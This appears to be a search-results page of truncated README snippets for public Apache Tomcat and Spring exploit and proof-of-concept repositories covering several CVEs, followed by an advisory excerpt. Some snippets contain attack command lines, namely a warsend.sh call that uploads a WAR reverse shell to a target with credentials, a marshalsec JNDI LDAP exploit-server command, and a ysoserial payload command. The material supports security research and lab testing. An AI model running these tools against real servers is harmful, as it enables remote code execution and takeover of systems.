8806 matches found
CVE-2025-24813-PoC-Apache-Tomcat-RCE
Apache Tomcat CVE-2025-24813 Prueba de Concepto PoC Una prueba de concepto de exploit para la vulnerabilidad de deserialización en Apache Tomcat CVE-2025-24813. Esta herramienta demuestra cómo los atacantes podrían explotar la deserialización insegura en la gestión de sesiones de Tomcat...
CVE-2017-12617
CVE-2017-12617 CVE-2017-12617 vulnerabilidad crítica de ejecución remota de código RCE descubierta en Apache Tomcat afecta a los sistemas con HTTP PUT habilitado mediante el parámetro de inicialización "read-only" del servlet Default establecido en "false" están afectados. Las versiones de Tomcat...
warsend
WARSend Apache Tomcat Manager API WAR Shell 上传 先决条件 凭据 具有 Tomcat Manager 的 Text API 访问权限 $ ./warsend.sh 10.10.14.232 8090 10.10.10.184 8080 tomcat $3cureP4s5w0rd! revshell | | / / | / / / / / | | /| / / /| | / // /\ / / / / | |/ |/ / |/ , // / / / / / // / |/|// |// ||//// //,/ Created By :...
CVE-2022-22965
Spring4Shell 漏洞 - CVE-2022-22965 📕 介绍 spring4shell 漏洞之所以如此命名，是因为在 2022 年初发现了 2 个并被攻击者广泛利用的漏洞。其中一个漏洞位于名为 "Spring Cloud Functions" 的框架组件中（不太严重），第二个更关键的组件位于框架核心，称为 "Spring Core"。由于这两个关键漏洞，社区开了一个玩笑，将其与 2021 年披露的另一个关键漏洞 Log4shell 联系起来。 它是如何工作的？ Spring MVC...
cve-2025-24813_poc
cve-2025-24813poc cve-2025-24813验证脚本 影响版本 9.0.0.M1 = tomcat = 9.0.98 10.1.0-M1 = tomcat = 10.1.34 11.0.0-M1 = tomcat = 11.0.2 检测方式 python .\CVE-2025-24813-poc.py -u url 免责声明 此脚本仅供合法安全研究和教育目的使用。未经授权，禁止在未经目标系统所有者明确同意的情况下进行任何形式的攻击、侵入或干扰。用户应遵守所有适用的法律和规定，尤其是在使用本工具时涉及到个人隐私、系统安全以及网络安全方面的法律。...
apache-tomcat-log4j
Log4j2 CVE-2021-44228 漏洞概念验证（Apache Tomcat 环境） 预览 设置 启动 tomcat 服务器 git clone cd apache-tomcat-10.0.14/bin startup.bat 提供利用类 cd exploit py -m http.server 8888 cd exploit java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8888/Exploit" 攻击 在...
CVE-2025-24813
CVE-2025-24813 漏洞利用工具包 这是一个针对 CVE-2025-24813 的先进自动化利用工具，旨在攻击存在不安全会话反序列化漏洞的 Apache Tomcat 服务器。 🔍 功能特性 从文件或单个 URL 进行多目标扫描（--targets / --url） 自动执行 gadget 链测试（CommonsCollections1-7、BeanShell、Spring 等） 操作系统检测与后渗透利用载荷（Linux/Windows） 从常见端点发现会话 ID 详细日志同时输出到控制台和文件 支持 TLS（HTTPS），并可选择禁用 SSL 验证 ⚙️ 使用方法 Single...
spring4shell-poc
Spring4Shell POC Description of the vulnerability: https://www.cyberkendra.com/2022/03/springshell-rce-0-day-vulnerability.html Construction of the POC: https://github.com/BobTheShoplifter/Spring4Shell-POC Steps to Build/Run Tested with JDK 11.0.14, Spring Boot 2.6.5, and Apache Tomcat 9.0.60 Run...
PutScanner
🔍 PUT 目录扫描器 一款通过 HTTP PUT 方法识别可写 Web 目录的渗透测试工具，专为检测 CVE-2025-24813 （Apache Tomcat 任意文件上传漏洞）而设计。 📌 功能特性 智能协议处理 ：自动检测 HTTPS/HTTP 并支持回退 全面检测 ：测试所有常见 Tomcat 目录 两阶段验证 ：PUT + GET 双重验证以消除误报 渗透测试人员友好输出 ：彩色编码结果并附带手动验证命令 针对 CVE 优化 ：专为检测具备 CVE-2025-24813 利用前置条件的资产而优化 🚀 安装 git clone...
CVE-2020-9484_Exploit
CVE-2020-9484Exploit Apache Tomcat 反序列化漏洞（CVE-2020-9484）利用工具，可能导致远程代码执行 受影响版本： Apache Tomcat 10.x exploit.sh exploit.sh 你的IP 你的端口 目标IP 目标端口...
ghostcat
该工具利用 Apache Tomcat 中的一个 LFI 漏洞（CVE-2020-1938），不仅可以查看敏感文件，还可以运行恶意的 JSP 载荷。 可在此处下载（需要从命令行运行） 用法： ghostcat target HTTP port AJP port file read/eval...
CVE-2022-29885
CVE-2022-29885 作者：1vere$k Apache Tomcat DoS（CVE-2022-29885）漏洞利用。 EncryptInterceptor（Tomcat 集群）中的拒绝服务漏洞。 目标机器需要启动 Cluster Nio Receiver。 发送一个特殊的 TCP 数据包将导致目标服务拒绝。 无论是否使用 EncryptInterceptor，在满足以下条件时都存在拒绝服务漏洞的可能性： Tomcat 集群功能已启用并使用 NioReceiver 进行通信。 任何版本的 Tomcat 都会受到影响。唯一的解决方案是使用可信网络。 安全的配置文件...
CVE-2025-48799-
CVE-2025-48799 – Apache Tomcat 远程代码执行（PoC） 本仓库包含针对 CVE-2025-48799 的概念验证漏洞利用代码，该漏洞是 Apache Tomcat 9.0.48 中发现的一个远程代码执行漏洞。该缺陷源于 HTTP 头解析器中的整数溢出，可通过精心构造的 X-Forwarded 头触发。 目的 本项目仅用于教育和研究目的。它展示了： 畸形 HTTP 头如何导致内存破坏 构造 shellcode 和计算缓冲区偏移量的技术 在受控环境中利用现实世界中已修复 CVE 的实践示例 工作原理 该漏洞利用程序： 1. 构造一个超大的 X-Forwarded...
CVE-2020-9484
CVE-2020-9484 用Kali 2.0复现Apache Tomcat Session反序列化代码执行漏洞 CVE-2020-9484 环境： 1. Kali 2.0 2. apache-tomcat-7.0.61-CVE-2020-9484.tar.gz（webapp是s2-053，在其lib下加了commons-collections4-4.0.jar） 启动 /yourtomcatdir/bin/startup.sh 生成payload java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections2 "touch...
CVE-2024-21733
CVE-2024-21733-POC 注意： 1. tomcat 英文环境 2. 特定构造后端代码，如 ROOT/vulnerable.jsp 内所示 3. 如有需要，修改脚本中的服务器地址和端口 。默认 127.0.0.1:8080 4. 超时触发，默认 20 秒，一般会小于这个时间 流程： 1. 下载特定版本 tomcat https://archive.apache.org/dist/tomcat/ 或者使用 docker 环境：tomcat:9.0.43 docker-compose up -d 2. 构造 vulnerable.jsp ROOT/vulnerable.jsp...
CVE-2012-4431
欢迎使用 Apache Tomcat！ 这是什么？ Apache Tomcat® 软件是 Java Servlet、JavaServer Pages、Java 表达式语言和 Java WebSocket 技术的开源实现。Java Servlet、JavaServer Pages、Java 表达式语言和 Java WebSocket 规范是在 Java Community Process 下开发的。 Apache Tomcat 软件是在开放和参与式的环境中开发，并根据 Apache 许可证版本 2 发布。Apache Tomcat...
AttackTomcat
AttackTomcat 检测漏洞清单 CVE-2017-12615 PUT文件上传漏洞 tomcat-pass-getshell 弱认证部署war包 弱口令爆破 CVE-2020-1938 Tomcat 文件读取/包含 使用方式 初次使用前请先在设置中重新设置配置文件，其他问题请仔细阅读！！！，java -jar .jar 启动可查看运行日志信息！！ 下载源码maven编译，或者直接下载Releases。 双击jar包即可运行或执行java -jar AttackTomcat 代理 使用http和socket代理。 配置 启动jar包，生成配置文件config。 ...
CVE-2019-0232-EXP
CVE-2019-0232-EXP 测试环境为Win10 Home 1809，jre版本为18.3 build 10.0.2+13，Tomcat版本为9.0.13。 受影响Tomcat版本 ★Apache Tomcat 9.0.0.M1 to 9.0.17 ★Apache Tomcat 8.5.0 to 8.5.39 ★Apache Tomcat 7.0.0 to 7.0.93 配置 conf/web.xml cgi org.apache.catalina.servlets.CGIServlet cgiPathPrefix WEB-INF/cgi-bin...
K000163569: Multiple Apache Tomcat vulnerabilities
Security Advisory Description CVE-2026-75973 Improper Authentication vulnerability in Apache Tomcat. When Jakarta Authentication was configured with SimpleAuthConfigProvider as the default provider and multiple web application used that provider, the realm for the first web application to...